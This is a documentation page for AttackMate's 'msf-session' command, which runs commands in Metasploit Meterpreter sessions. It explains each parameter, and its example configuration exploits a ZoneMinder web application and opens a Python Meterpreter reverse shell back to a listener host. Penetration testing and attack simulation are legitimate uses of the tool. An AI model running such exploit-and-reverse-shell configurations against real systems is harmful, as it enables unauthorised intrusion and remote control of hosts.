msf-session
Execute commands in an active Meterpreter session previously opened by an msf-module command.
Note
To configure the connection to msfrpcd, see msf_config.
commands:
# First, exploit a vulnerability and create a session:
- type: msf-module
cmd: exploit/unix/webapp/zoneminder_snapshots
creates_session: foothold
options:
RHOSTS: 192.42.0.254
payload: cmd/unix/python/meterpreter/reverse_tcp
payload_options:
LHOST: 192.42.2.253
# Then, execute a command in the session:
- type: msf-session
session: foothold
stdapi: True
cmd: getuid
- session
Name of the session to operate in. Must have been created previously by an msf-module command using
creates_session.- Type:
str
- Required:
True
- cmd
Command to execute in the session.
- Type:
str
- stdapi
Load the stdapi extension in the Meterpreter session before executing the command. Required for many standard Meterpreter commands.
- Type:
bool
- Default:
False
- write
Execute a raw write-operation to the session without reading the output.
Note
If both
writeandreadareTrue, AttackMate will first write and then read.- Type:
bool
- Default:
False
- read
Execute a raw read-operation from the session without a preceding write-operation.
- Type:
bool
- Default:
False
- end_str
String indicating the end of a read-operation.
- Type:
str